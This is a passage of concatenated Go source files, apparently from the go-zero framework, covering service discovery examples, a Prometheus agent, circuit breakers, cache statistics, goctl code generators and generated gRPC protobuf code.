return strings.TrimSpace(strings.Join(m.Comments, "; ")) } func (m Member) IsBodyMember() bool { if m.IsInline { return true } attrs := m.GetAttributes() for _, attr := range attrs { if attr.value == BodyTag { return true } } return false } func (t Type) GetBodyMembers() []Member { var result []Member for _, member := range t.Members { if member.IsBodyMember() { result = append(result, member) } } return result } func (t Type) GetNonBodyMembers() []Member { var result []Member for _, member := range t.Members { if !member.IsBodyMember() { result = append(result, member) } } return result } ``` pub.go ```package main import ( "flag" "fmt" "log" "time" "github.com/tal-tech/go-zero/core/discov" ) var value = flag.String("v", "value", "the value") func main() { flag.Parse() client := discov.NewPublisher([]string{"etcd.discovery:2379"}, "028F2C35852D", *value) if err := client.KeepAlive(); err != nil { log.Fatal(err) } defer client.Stop() for { time.Sleep(time.Second) fmt.Println(*value) } } ``` cpu_other.go ```// +build !linux package internal func RefreshCpu() uint64 { return 0 } ``` agent.go ```package prometheus import ( "fmt" "net/http" "sync" "github.com/prometheus/client_golang/prometheus/promhttp" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/core/threading" ) var once sync.Once func StartAgent(c Config) { once.Do(func() { if len(c.Host) == 0 { return } threading.GoSafe(func() { http.Handle(c.Path, promhttp.Handler()) addr := fmt.Sprintf("%s:%d", c.Host, c.Port) logx.Infof("Starting prometheus agent at %s", addr) if err := http.ListenAndServe(addr, nil); err != nil { logx.Error(err) } }) }) } ``` shutdown+polyfill.go ```// +build windows package proc import "time" func AddShutdownListener(fn func()) func() { return nil } func AddWrapUpListener(fn func()) func() { return nil } func SetTimeoutToForceQuit(duration time.Duration) { } ``` rpclogger.go ```package internal import ( "sync" "github.com/tal-tech/go-zero/core/logx" "google.golang.org/grpc/grpclog" ) // because grpclog.errorLog is not exported, we need to define our own. const errorLevel = 2 var once sync.Once type Logger struct{} func InitLogger() { once.Do(func() { grpclog.SetLoggerV2(new(Logger)) }) } func (l *Logger) Error(args ...interface{}) { logx.Error(args...) } func (l *Logger) Errorf(format string, args ...interface{}) { logx.Errorf(format, args...) } func (l *Logger) Errorln(args ...interface{}) { logx.Error(args...) } func (l *Logger) Fatal(args ...interface{}) { logx.Error(args...) } func (l *Logger) Fatalf(format string, args ...interface{}) { logx.Errorf(format, args...) } func (l *Logger) Fatalln(args ...interface{}) { logx.Error(args...) } func (l *Logger) Info(args ...interface{}) { // ignore builtin grpc info } func (l *Logger) Infoln(args ...interface{}) { // ignore builtin grpc info } func (l *Logger) Infof(format string, args ...interface{}) { // ignore builtin grpc info } func (l *Logger) V(v int) bool { return v >= errorLevel } func (l *Logger) Warning(args ...interface{}) { // ignore builtin grpc warning } func (l *Logger) Warningln(args ...interface{}) { // ignore builtin grpc warning } func (l *Logger) Warningf(format string, args ...interface{}) { // ignore builtin grpc warning } ``` shortenlogic.go ```package logic import ( "context" "shorturl/api/internal/svc" "shorturl/api/internal/types" "shorturl/rpc/transform/transformer" "github.com/tal-tech/go-zero/core/logx" ) type ShortenLogic struct { logx.Logger ctx context.Context svcCtx *svc.ServiceContext } func NewShortenLogic(ctx context.Context, svcCtx *svc.ServiceContext) ShortenLogic { return ShortenLogic{ Logger: logx.WithContext(ctx), ctx: ctx, svcCtx: svcCtx, } } func (l *ShortenLogic) Shorten(req types.ShortenReq) (*types.ShortenResp, error) { resp, err := l.svcCtx.Transformer.Shorten(l.ctx, &transformer.ShortenReq{ Url: req.Url, }) if err != nil { return nil, err } return &types.ShortenResp{ Shorten: resp.Shorten, }, nil } ``` gencomponents.go ```package tsgen import ( "errors" "path" "strings" "text/template" "github.com/tal-tech/go-zero/tools/goctl/api/spec" apiutil "github.com/tal-tech/go-zero/tools/goctl/api/util" "github.com/tal-tech/go-zero/tools/goctl/util" ) const ( componentsTemplate = `// Code generated by goctl. DO NOT EDIT. {{.componentTypes}} ` ) func genComponents(dir string, api *spec.ApiSpec) error { types := apiutil.GetSharedTypes(api) if len(types) == 0 { return nil } val, err := buildTypes(types, func(name string) (*spec.Type, error) { for _, ty := range api.Types { if strings.ToLower(ty.Name) == strings.ToLower(name) { return &ty, nil } } return nil, errors.New("inline type " + name + " not exist, please correct api file") }) if err != nil { return err } outputFile := apiutil.ComponentName(api) + ".ts" filename := path.Join(dir, outputFile) if err := util.RemoveIfExist(filename); err != nil { return err } fp, created, err := apiutil.MaybeCreateFile(dir, ".", outputFile) if err != nil { return err } if !created { return nil } defer fp.Close() t := template.Must(template.New("componentsTemplate").Parse(componentsTemplate)) return t.Execute(fp, map[string]string{ "componentTypes": val, }) } func buildTypes(types []spec.Type, inlineType func(string) (*spec.Type, error)) (string, error) { var builder strings.Builder first := true for _, tp := range types { if first { first = false } else { builder.WriteString("\n") } if err := writeType(&builder, tp, func(name string) (*spec.Type, error) { return inlineType(name) }, func(tp string) string { return "" }); err != nil { return "", apiutil.WrapErr(err, "Type "+tp.Name+" generate error") } } return builder.String(), nil } ``` recover.go ```package rescue import "github.com/tal-tech/go-zero/core/logx" func Recover(cleanups ...func()) { for _, cleanup := range cleanups { cleanup() } if p := recover(); p != nil { logx.ErrorStack(p) } } ``` bloom.go ```package main import ( "fmt" "github.com/tal-tech/go-zero/core/bloom" "github.com/tal-tech/go-zero/core/stores/redis" ) func main() { store := redis.NewRedis("localhost:6379", "node") filter := bloom.New(store, "testbloom", 64) filter.Add([]byte("kevin")) filter.Add([]byte("wan")) fmt.Println(filter.Exists([]byte("kevin"))) fmt.Println(filter.Exists([]byte("wan"))) fmt.Println(filter.Exists([]byte("nothing"))) } ``` main.go ```package main import ( "fmt" "runtime" "time" "github.com/tal-tech/go-zero/core/stat" ) func main() { fmt.Println(runtime.NumCPU()) for i := 0; i < runtime.NumCPU()+10; i++ { go func() { for { select { default: time.Sleep(time.Microsecond) } } }() } ticker := time.NewTicker(time.Second * 5) defer ticker.Stop() for range ticker.C { percent := stat.CpuUsage() fmt.Println("cpu:", percent) } } ``` timeout.go ```package fx import ( "context" "time" ) var ( ErrCanceled = context.Canceled ErrTimeout = context.DeadlineExceeded ) type FxOption func() context.Context func DoWithTimeout(fn func() error, timeout time.Duration, opts ...FxOption) error { parentCtx := context.Background() for _, opt := range opts { parentCtx = opt() } ctx, cancel := context.WithTimeout(parentCtx, timeout) defer cancel() done := make(chan error) panicChan := make(chan interface{}, 1) go func() { defer func() { if p := recover(); p != nil { panicChan <- p } }() done <- fn() close(done) }() select { case p := <-panicChan: panic(p) case err := <-done: return err case <-ctx.Done(): return ctx.Err() } } func WithContext(ctx context.Context) FxOption { return func() context.Context { return ctx } } ``` cachestat.go ```package cache import ( "sync/atomic" "time" "github.com/tal-tech/go-zero/core/logx" ) const statInterval = time.Minute type CacheStat struct { name string // export the fields to let the unit tests working, // reside in internal package, doesn't matter. Total uint64 Hit uint64 Miss uint64 DbFails uint64 } func NewCacheStat(name string) *CacheStat { ret := &CacheStat{ name: name, } go ret.statLoop() return ret } func (cs *CacheStat) IncrementTotal() { atomic.AddUint64(&cs.Total, 1) } func (cs *CacheStat) IncrementHit() { atomic.AddUint64(&cs.Hit, 1) } func (cs *CacheStat) IncrementMiss() { atomic.AddUint64(&cs.Miss, 1) } func (cs *CacheStat) IncrementDbFails() { atomic.AddUint64(&cs.DbFails, 1) } func (cs *CacheStat) statLoop() { ticker := time.NewTicker(statInterval) defer ticker.Stop() for range ticker.C { total := atomic.SwapUint64(&cs.Total, 0) if total == 0 { continue } hit := atomic.SwapUint64(&cs.Hit, 0) percent := 100 * float32(hit) / float32(total) miss := atomic.SwapUint64(&cs.Miss, 0) dbf := atomic.SwapUint64(&cs.DbFails, 0) logx.Statf("dbcache(%s) - qpm: %d, hit_ratio: %.1f%%, hit: %d, miss: %d, db_fails: %d", cs.name, total, percent, hit, miss, dbf) } } ``` entity.go ```package parser import ( "errors" "fmt" "strings" "github.com/tal-tech/go-zero/tools/goctl/api/spec" ) type ( entity struct { state *baseState api *spec.ApiSpec parser entityParser } entityParser interface { parseLine(line string, api *spec.ApiSpec, annos []spec.Annotation) error setEntityName(name string) } ) func newEntity(state *baseState, api *spec.ApiSpec, parser entityParser) entity { return entity{ state: state, api: api, parser: parser, } } func (s *entity) process() error { line, err := s.state.readLineSkipComment() if err != nil { return err } fields := strings.Fields(line) if len(fields) < 2 { return fmt.Errorf("invalid type definition for %q", strings.TrimSpace(strings.Trim(string(line), "{"))) } if len(fields) == 2 { if fields[1] != leftBrace { return fmt.Errorf("bad string %q after type", fields[1]) } } else if len(fields) == 3 { if fields[1] != typeStruct { return fmt.Errorf("bad string %q after type", fields[1]) } if fields[2] != leftBrace { return fmt.Errorf("bad string %q after type", fields[2]) } } s.parser.setEntityName(fields[0]) var annos []spec.Annotation memberLoop: for { ch, err := s.state.readSkipComment() if err != nil { return err } var annoName string var builder strings.Builder switch { case ch == at: annotationLoop: for { next, err := s.state.readSkipComment() if err != nil { return err } switch { case isSpace(next): if builder.Len() > 0 && annoName == "" { annoName = builder.String() builder.Reset() } case isNewline(next): if builder.Len() == 0 { return errors.New("invalid annotation format") } if len(annoName) > 0 { value := builder.String() if value != string(leftParenthesis) { builder.Reset() annos = append(annos, spec.Annotation{ Name: annoName, Value: value, }) annoName = "" break annotationLoop } } case next == leftParenthesis: if builder.Len() == 0 { return errors.New("invalid annotation format") } annoName = builder.String() builder.Reset() if err := s.state.unread(); err != nil { return err } attrs, err := s.state.parseProperties() if err != nil { return err } annos = append(annos, spec.Annotation{ Name: annoName, Properties: attrs, }) annoName = "" break annotationLoop default: builder.WriteRune(next) } } case ch == rightBrace: break memberLoop case isLetterDigit(ch): if err := s.state.unread(); err != nil { return err } var line string line, err = s.state.readLineSkipComment() if err != nil { return err } line = strings.TrimSpace(line) if err := s.parser.parseLine(line, s.api, annos); err != nil { return err } annos = nil } } return nil } ``` keys.go ```package gen import ( "fmt" "strings" "github.com/tal-tech/go-zero/tools/goctl/model/sql/parser" "github.com/tal-tech/go-zero/tools/goctl/util/stringx" ) type ( // tableName:user // {{prefix}}=cache // key:id Key struct { VarExpression string // cacheUserIdPrefix = "cache#User#id#" Left string // cacheUserIdPrefix Right string // cache#user#id# Variable string // userIdKey KeyExpression string // userIdKey: = fmt.Sprintf("cache#user#id#%v", userId) DataKeyExpression string // userIdKey: = fmt.Sprintf("cache#user#id#%v", data.userId) RespKeyExpression string // userIdKey: = fmt.Sprintf("cache#user#id#%v", resp.userId) } ) // key-数据库原始字段名,value-缓存key相关数据 func genCacheKeys(table parser.Table) (map[string]Key, error) { fields := table.Fields m := make(map[string]Key) camelTableName := table.Name.ToCamel() lowerStartCamelTableName := stringx.From(camelTableName).UnTitle() for _, field := range fields { if field.IsUniqueKey || field.IsPrimaryKey { camelFieldName := field.Name.ToCamel() lowerStartCamelFieldName := stringx.From(camelFieldName).UnTitle() left := fmt.Sprintf("cache%s%sPrefix", camelTableName, camelFieldName) if strings.ToLower(camelFieldName) == strings.ToLower(camelTableName) { left = fmt.Sprintf("cache%sPrefix", camelTableName) } right := fmt.Sprintf("cache#%s#%s#", camelTableName, lowerStartCamelFieldName) variable := fmt.Sprintf("%s%sKey", lowerStartCamelTableName, camelFieldName) if strings.ToLower(lowerStartCamelTableName) == strings.ToLower(camelFieldName) { variable = fmt.Sprintf("%sKey", lowerStartCamelTableName) } m[field.Name.Source()] = Key{ VarExpression: fmt.Sprintf(`%s = "%s"`, left, right), Left: left, Right: right, Variable: variable, KeyExpression: fmt.Sprintf(`%s := fmt.Sprintf("%s%s", %s,%s)`, variable, "%s", "%v", left, lowerStartCamelFieldName), DataKeyExpression: fmt.Sprintf(`%s := fmt.Sprintf("%s%s",%s, data.%s)`, variable, "%s", "%v", left, camelFieldName), RespKeyExpression: fmt.Sprintf(`%s := fmt.Sprintf("%s%s", %s,resp.%s)`, variable, "%s", "%v", left, camelFieldName), } } } return m, nil } ``` replace.go ```package main import ( "fmt" "github.com/tal-tech/go-zero/core/stringx" ) func main() { replacer := stringx.NewReplacer(map[string]string{ "日本": "法国", "日本的首都": "东京", "东京": "日本的首都", }) fmt.Println(replacer.Replace("日本的首都是东京")) } ``` genetc.go ```package gogen import ( "bytes" "fmt" "strconv" "text/template" "github.com/tal-tech/go-zero/tools/goctl/api/spec" "github.com/tal-tech/go-zero/tools/goctl/api/util" "github.com/tal-tech/go-zero/tools/goctl/config" ctlutil "github.com/tal-tech/go-zero/tools/goctl/util" "github.com/tal-tech/go-zero/tools/goctl/util/format" ) const ( defaultPort = 8888 etcDir = "etc" etcTemplate = `Name: {{.serviceName}} Host: {{.host}} Port: {{.port}} ` ) func genEtc(dir string, cfg *config.Config, api *spec.ApiSpec) error { filename, err := format.FileNamingFormat(cfg.NamingFormat, api.Service.Name) if err != nil { return err } fp, created, err := util.MaybeCreateFile(dir, etcDir, fmt.Sprintf("%s.yaml", filename)) if err != nil { return err } if !created { return nil } defer fp.Close() service := api.Service host, ok := util.GetAnnotationValue(service.Groups[0].Annotations, "server", "host") if !ok { host = "0.0.0.0" } port, ok := util.GetAnnotationValue(service.Groups[0].Annotations, "server", "port") if !ok { port = strconv.Itoa(defaultPort) } text, err := ctlutil.LoadTemplate(category, etcTemplateFile, etcTemplate) if err != nil { return err } t := template.Must(template.New("etcTemplate").Parse(text)) buffer := new(bytes.Buffer) err = t.Execute(buffer, map[string]string{ "serviceName": service.Name, "host": host, "port": port, }) if err != nil { return err } formatCode := formatCode(buffer.String()) _, err = fp.WriteString(formatCode) return err } ``` fx_test.go ```package main import ( "fmt" "testing" "github.com/tal-tech/go-zero/core/fx" ) func TestFxSplit(t *testing.T) { fx.Just(1, 2, 3, 4, 5, 6, 7, 8, 9, 10).Split(4).ForEach(func(item interface{}) { vals := item.([]interface{}) fmt.Println(len(vals)) }) } func BenchmarkFx(b *testing.B) { type Mixed struct { Name string Age int Gender int } for i := 0; i < b.N; i++ { var mx Mixed fx.Parallel(func() { mx.Name = "hello" }, func() { mx.Age = 20 }, func() { mx.Gender = 1 }) } } ``` gracefulrpc.go ```package main import ( "context" "flag" "fmt" "os" "time" "github.com/tal-tech/go-zero/core/conf" "github.com/tal-tech/go-zero/example/graceful/etcd/rpc/graceful" "github.com/tal-tech/go-zero/zrpc" "google.golang.org/grpc" ) var configFile = flag.String("f", "etc/config.json", "the config file") type GracefulServer struct{} func NewGracefulServer() *GracefulServer { return &GracefulServer{} } func (gs *GracefulServer) Grace(ctx context.Context, req *graceful.Request) (*graceful.Response, error) { fmt.Println("=>", req) time.Sleep(time.Millisecond * 10) hostname, err := os.Hostname() if err != nil { return nil, err } return &graceful.Response{ Host: hostname, }, nil } func main() { flag.Parse() var c zrpc.RpcServerConf conf.MustLoad(*configFile, &c) server := zrpc.MustNewServer(c, func(grpcServer *grpc.Server) { graceful.RegisterGraceServiceServer(grpcServer, NewGracefulServer()) }) defer server.Stop() server.Start() } ``` error.go ```package gen import "errors" var ErrCircleQuery = errors.New("circle query with other fields") ``` countfunc.go ```package main import ( "bufio" "errors" "flag" "fmt" "io" "log" "os" "path" "path/filepath" "strings" "sync/atomic" "time" "github.com/google/gops/agent" "github.com/tal-tech/go-zero/core/mr" ) var ( dir = flag.String("d", "", "dir to enumerate") stopOnFile = flag.String("s", "", "stop when got file") maxFiles = flag.Int("m", 0, "at most files to process") mode = flag.String("mode", "", "simulate mode, can be return|panic") count uint32 ) func enumerateLines(filename string) chan string { output := make(chan string) go func() { file, err := os.Open(filename) if err != nil { return } defer file.Close() reader := bufio.NewReader(file) for { line, err := reader.ReadString('\n') if err == io.EOF { break } if !strings.HasPrefix(line, "#") { output <- line } } close(output) }() return output } func mapper(filename interface{}, writer mr.Writer, cancel func(error)) { if len(*stopOnFile) > 0 && path.Base(filename.(string)) == *stopOnFile { fmt.Printf("Stop on file: %s\n", *stopOnFile) cancel(errors.New("stop on file")) return } var result int for line := range enumerateLines(filename.(string)) { if strings.HasPrefix(strings.TrimSpace(line), "func") { result++ } } switch *mode { case "return": if atomic.AddUint32(&count, 1)%10 == 0 { return } case "panic": if atomic.AddUint32(&count, 1)%10 == 0 { panic("wow") } } writer.Write(result) } func reducer(input <-chan interface{}, writer mr.Writer, cancel func(error)) { var result int for count := range input { v := count.(int) if *maxFiles > 0 && result >= *maxFiles { fmt.Printf("Reached max files: %d\n", *maxFiles) cancel(errors.New("max files reached")) return } result += v } writer.Write(result) } func main() { if err := agent.Listen(agent.Options{}); err != nil { log.Fatal(err) } flag.Parse() if len(*dir) == 0 { flag.Usage() } fmt.Println("Processing, please wait...") start := time.Now() result, err := mr.MapReduce(func(source chan<- interface{}) { filepath.Walk(*dir, func(fpath string, f os.FileInfo, err error) error { if !f.IsDir() && path.Ext(fpath) == ".go" { source <- fpath } return nil }) }, mapper, reducer) if err != nil { fmt.Println(err) } else { fmt.Println(result) fmt.Println("Elapsed:", time.Since(start)) fmt.Println("Done") } } ``` message.go ```package parser import pr "github.com/emicklei/proto" type Message struct { *pr.Message } ``` types.go ```// Code generated by goctl. DO NOT EDIT. package types type ExpandReq struct { Shorten string `form:"shorten"` } type ExpandResp struct { Url string `json:"url"` } type ShortenReq struct { Url string `form:"url"` } type ShortenResp struct { Shorten string `json:"shorten"` } ``` workergroup.go ```package threading type WorkerGroup struct { job func() workers int } func NewWorkerGroup(job func(), workers int) WorkerGroup { return WorkerGroup{ job: job, workers: workers, } } func (wg WorkerGroup) Start() { group := NewRoutineGroup() for i := 0; i < wg.workers; i++ { group.RunSafe(wg.job) } group.Wait() } ``` breakers.go ```package breaker import "sync" var ( lock sync.RWMutex breakers = make(map[string]Breaker) ) func Do(name string, req func() error) error { return do(name, func(b Breaker) error { return b.Do(req) }) } func DoWithAcceptable(name string, req func() error, acceptable Acceptable) error { return do(name, func(b Breaker) error { return b.DoWithAcceptable(req, acceptable) }) } func DoWithFallback(name string, req func() error, fallback func(err error) error) error { return do(name, func(b Breaker) error { return b.DoWithFallback(req, fallback) }) } func DoWithFallbackAcceptable(name string, req func() error, fallback func(err error) error, acceptable Acceptable) error { return do(name, func(b Breaker) error { return b.DoWithFallbackAcceptable(req, fallback, acceptable) }) } func GetBreaker(name string) Breaker { lock.RLock() b, ok := breakers[name] lock.RUnlock() if ok { return b } lock.Lock() b, ok = breakers[name] if !ok { b = NewBreaker(WithName(name)) breakers[name] = b } lock.Unlock() return b } func NoBreakFor(name string) { lock.Lock() breakers[name] = newNoOpBreaker() lock.Unlock() } func do(name string, execute func(b Breaker) error) error { return execute(GetBreaker(name)) } ``` withcoderesponsewriter.go ```package security import "net/http" type WithCodeResponseWriter struct { Writer http.ResponseWriter Code int } func (w *WithCodeResponseWriter) Header() http.Header { return w.Writer.Header() } func (w *WithCodeResponseWriter) Write(bytes []byte) (int, error) { return w.Writer.Write(bytes) } func (w *WithCodeResponseWriter) WriteHeader(code int) { w.Writer.WriteHeader(code) w.Code = code } ``` types.go ```package converter import ( "fmt" "strings" ) var ( commonMysqlDataTypeMap = map[string]string{ // For consistency, all integer types are converted to int64 // number "bool": "int64", "boolean": "int64", "tinyint": "int64", "smallint": "int64", "mediumint": "int64", "int": "int64", "integer": "int64", "bigint": "int64", "float": "float64", "double": "float64", "decimal": "float64", // date&time "date": "time.Time", "datetime": "time.Time", "timestamp": "time.Time", "time": "string", "year": "int64", // string "char": "string", "varchar": "string", "binary": "string", "varbinary": "string", "tinytext": "string", "text": "string", "mediumtext": "string", "longtext": "string", "enum": "string", "set": "string", "json": "string", } ) func ConvertDataType(dataBaseType string) (goDataType string, err error) { tp, ok := commonMysqlDataTypeMap[strings.ToLower(dataBaseType)] if !ok { err = fmt.Errorf("unexpected database type: %s", dataBaseType) return } goDataType = tp return } ``` rpc.go ```package parser import "github.com/emicklei/proto" type RPC struct { *proto.RPC } ``` server.go ```package main import ( "net/http" "runtime" "time" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/core/service" "github.com/tal-tech/go-zero/core/stat" "github.com/tal-tech/go-zero/core/syncx" "github.com/tal-tech/go-zero/rest" ) func main() { logx.Disable() stat.SetReporter(nil) server := rest.MustNewServer(rest.RestConf{ ServiceConf: service.ServiceConf{ Name: "breaker", Log: logx.LogConf{ Mode: "console", }, }, Host: "0.0.0.0", Port: 8080, MaxConns: 1000, Timeout: 3000, }) latch := syncx.NewLimit(10) server.AddRoute(rest.Route{ Method: http.MethodGet, Path: "/heavy", Handler: func(w http.ResponseWriter, r *http.Request) { if latch.TryBorrow() { defer latch.Return() runtime.LockOSThread() defer runtime.UnlockOSThread() begin := time.Now() for { if time.Now().Sub(begin) > time.Millisecond*50 { break } } } else { w.WriteHeader(http.StatusInternalServerError) } }, }) server.AddRoute(rest.Route{ Method: http.MethodGet, Path: "/good", Handler: func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) }, }) defer server.Stop() server.Start() } ``` apifileparser.go ```package parser import ( "bufio" "bytes" "errors" "fmt" "io" "strings" "github.com/tal-tech/go-zero/core/stringx" "github.com/tal-tech/go-zero/tools/goctl/api/util" ) const ( tokenInfo = "info" tokenImport = "import" tokenType = "type" tokenService = "service" tokenServiceAnnotation = "@server" tokenStruct = "struct" ) type ( ApiStruct struct { Info string Type string Service string Imports string serviceBeginLine int } apiFileState interface { process(api *ApiStruct, token string) (apiFileState, error) } apiRootState struct { *baseState } apiInfoState struct { *baseState } apiImportState struct { *baseState } apiTypeState struct { *baseState } apiServiceState struct { *baseState } ) func ParseApi(src string) (*ApiStruct, error) { var buffer = new(bytes.Buffer) buffer.WriteString(src) api := new(ApiStruct) var lineNumber = api.serviceBeginLine apiFile := baseState{r: bufio.NewReader(buffer), lineNumber: &lineNumber} st := apiRootState{&apiFile} for { st, err := st.process(api, "") if err == io.EOF { return api, nil } if err != nil { return nil, fmt.Errorf("near line: %d, %s", lineNumber, err.Error()) } if st == nil { return api, nil } } } func (s *apiRootState) process(api *ApiStruct, _ string) (apiFileState, error) { var builder strings.Builder for { ch, err := s.readSkipComment() if err != nil { return nil, err } switch { case isSpace(ch) || isNewline(ch) || ch == leftParenthesis: token := builder.String() token = strings.TrimSpace(token) if len(token) == 0 { continue } builder.Reset() switch token { case tokenInfo: info := apiInfoState{s.baseState} return info.process(api, token+string(ch)) case tokenImport: tp := apiImportState{s.baseState} return tp.process(api, token+string(ch)) case tokenType: ty := apiTypeState{s.baseState} return ty.process(api, token+string(ch)) case tokenService: server := apiServiceState{s.baseState} return server.process(api, token+string(ch)) case tokenServiceAnnotation: server := apiServiceState{s.baseState} return server.process(api, token+string(ch)) default: if strings.HasPrefix(token, "//") { continue } return nil, errors.New(fmt.Sprintf("invalid token %s at line %d", token, *s.lineNumber)) } default: builder.WriteRune(ch) } } } func (s *apiInfoState) process(api *ApiStruct, token string) (apiFileState, error) { for { line, err := s.readLine() if err != nil { return nil, err } api.Info += newline + token + line token = "" if strings.TrimSpace(line) == string(rightParenthesis) { return &apiRootState{s.baseState}, nil } } } func (s *apiImportState) process(api *ApiStruct, token string) (apiFileState, error) { line, err := s.readLine() if err != nil { return nil, err } line = token + line line = util.RemoveComment(line) if len(strings.Fields(line)) != 2 { return nil, errors.New("import syntax error: " + line) } api.Imports += newline + line return &apiRootState{s.baseState}, nil } func (s *apiTypeState) process(api *ApiStruct, token string) (apiFileState, error) { var blockCount = 0 var braceCount = 0 for { line, err := s.readLine() if err != nil { return nil, err } line = token + line if braceCount == 0 { line = mayInsertStructKeyword(line) } api.Type += newline + newline + line line = strings.TrimSpace(line) line = util.RemoveComment(line) token = "" if strings.HasSuffix(line, leftBrace) { blockCount++ braceCount++ } if strings.HasSuffix(line, string(leftParenthesis)) { blockCount++ } if strings.HasSuffix(line, string(rightBrace)) { blockCount-- braceCount-- } if strings.HasSuffix(line, string(rightParenthesis)) { blockCount-- } if braceCount >= 2 { return nil, errors.New("nested type not supported: " + line) } if braceCount < 0 { line = strings.TrimSuffix(line, string(rightBrace)) line = strings.TrimSpace(line) if strings.HasSuffix(line, leftBrace) { blockCount++ braceCount++ } } if blockCount == 0 { return &apiRootState{s.baseState}, nil } } } func (s *apiServiceState) process(api *ApiStruct, token string) (apiFileState, error) { var blockCount = 0 for { line, err := s.readLineSkipComment() if err != nil { return nil, err } line = token + line token = "" api.Service += newline + line line = strings.TrimSpace(line) line = util.RemoveComment(line) if strings.HasSuffix(line, leftBrace) { blockCount++ } if strings.HasSuffix(line, string(leftParenthesis)) { blockCount++ } if line == string(rightBrace) { blockCount-- } if line == string(rightParenthesis) { blockCount-- } if blockCount == 0 { return &apiRootState{s.baseState}, nil } } } func mayInsertStructKeyword(line string) string { line = util.RemoveComment(line) if !strings.HasSuffix(line, leftBrace) && !strings.HasSuffix(line, string(rightBrace)) { return line } fields := strings.Fields(line) if stringx.Contains(fields, tokenStruct) || stringx.Contains(fields, tokenStruct+leftBrace) || stringx.Contains(fields, tokenStruct+leftBrace+string(rightBrace)) || len(fields) <= 1 { return line } var insertIndex int if fields[0] == tokenType { insertIndex = 2 } else { insertIndex = 1 } if insertIndex >= len(fields) { return line } var result []string result = append(result, fields[:insertIndex]...) result = append(result, tokenStruct) result = append(result, fields[insertIndex:]...) return strings.Join(result, " ") } ``` genmiddleware.go ```package gogen import ( "bytes" "strings" "text/template" "github.com/tal-tech/go-zero/tools/goctl/api/spec" "github.com/tal-tech/go-zero/tools/goctl/api/util" "github.com/tal-tech/go-zero/tools/goctl/config" "github.com/tal-tech/go-zero/tools/goctl/util/format" ) var middlewareImplementCode = ` package middleware import "net/http" type {{.name}} struct { } func New{{.name}}() *{{.name}} { return &{{.name}}{} } func (m *{{.name}})Handle(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { // TODO generate middleware implement function, delete after code implementation // Passthrough to next handler if need next(w, r) } } ` func genMiddleware(dir string, cfg *config.Config, api *spec.ApiSpec) error { var middlewares = getMiddleware(api) for _, item := range middlewares { middlewareFilename := strings.TrimSuffix(strings.ToLower(item), "middleware") + "_middleware" formatName, err := format.FileNamingFormat(cfg.NamingFormat, middlewareFilename) if err != nil { return err } filename := formatName + ".go" fp, created, err := util.MaybeCreateFile(dir, middlewareDir, filename) if err != nil { return err } if !created { return nil } defer fp.Close() name := strings.TrimSuffix(item, "Middleware") + "Middleware" t := template.Must(template.New("contextTemplate").Parse(middlewareImplementCode)) buffer := new(bytes.Buffer) err = t.Execute(buffer, map[string]string{ "name": strings.Title(name), }) if err != nil { return err } formatCode := formatCode(buffer.String()) _, err = fp.WriteString(formatCode) return err } return nil } ``` sub.go ```package main import ( "fmt" "time" "github.com/tal-tech/go-zero/core/discov" "github.com/tal-tech/go-zero/core/logx" ) func main() { sub, err := discov.NewSubscriber([]string{"etcd.discovery:2379"}, "028F2C35852D", discov.Exclusive()) logx.Must(err) ticker := time.NewTicker(time.Second * 3) defer ticker.Stop() for { select { case <-ticker.C: fmt.Println("values:", sub.Values()) } } } ``` portal.pb.go ```// Code generated by protoc-gen-go. // source: portal.proto // DO NOT EDIT! /* Package portal is a generated protocol buffer package. It is generated from these files: portal.proto It has these top-level messages: PortalRequest PortalResponse */ package portal import ( "fmt" "math" "github.com/golang/protobuf/proto" "golang.org/x/net/context" "google.golang.org/grpc" ) // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf var _ = math.Inf // This is a compile-time assertion to ensure that this generated file // is compatible with the proto package it is being compiled against. // A compilation error at this line likely means your copy of the // proto package needs to be updated. const _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package type PortalRequest struct { Name string `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"` } func (m *PortalRequest) Reset() { *m = PortalRequest{} } func (m *PortalRequest) String() string { return proto.CompactTextString(m) } func (*PortalRequest) ProtoMessage() {} func (*PortalRequest) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{0} } func (m *PortalRequest) GetName() string { if m != nil { return m.Name } return "" } type PortalResponse struct { Response string `protobuf:"bytes,1,opt,name=response" json:"response,omitempty"` } func (m *PortalResponse) Reset() { *m = PortalResponse{} } func (m *PortalResponse) String() string { return proto.CompactTextString(m) } func (*PortalResponse) ProtoMessage() {} func (*PortalResponse) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{1} } func (m *PortalResponse) GetResponse() string { if m != nil { return m.Response } return "" } func init() { proto.RegisterType((*PortalRequest)(nil), "portal.PortalRequest") proto.RegisterType((*PortalResponse)(nil), "portal.PortalResponse") } // Reference imports to suppress errors if they are not otherwise used. var _ context.Context var _ grpc.ClientConn // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. const _ = grpc.SupportPackageIsVersion4 // Client API for Portal service type PortalClient interface { Portal(ctx context.Context, in *PortalRequest, opts ...grpc.CallOption) (*PortalResponse, error) } type portalClient struct { cc *grpc.ClientConn } func NewPortalClient(cc *grpc.ClientConn) PortalClient { return &portalClient{cc} } func (c *portalClient) Portal(ctx context.Context, in *PortalRequest, opts ...grpc.CallOption) (*PortalResponse, error) { out := new(PortalResponse) err := grpc.Invoke(ctx, "/portal.Portal/Portal", in, out, c.cc, opts...) if err != nil { return nil, err } return out, nil } // Server API for Portal service type PortalServer interface { Portal(context.Context, *PortalRequest) (*PortalResponse, error) } func RegisterPortalServer(s *grpc.Server, srv PortalServer) { s.RegisterService(&_Portal_serviceDesc, srv) } func _Portal_Portal_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(PortalRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(PortalServer).Portal(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/portal.Portal/Portal", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(PortalServer).Portal(ctx, req.(*PortalRequest)) } return interceptor(ctx, in, info, handler) } var _Portal_serviceDesc = grpc.ServiceDesc{ ServiceName: 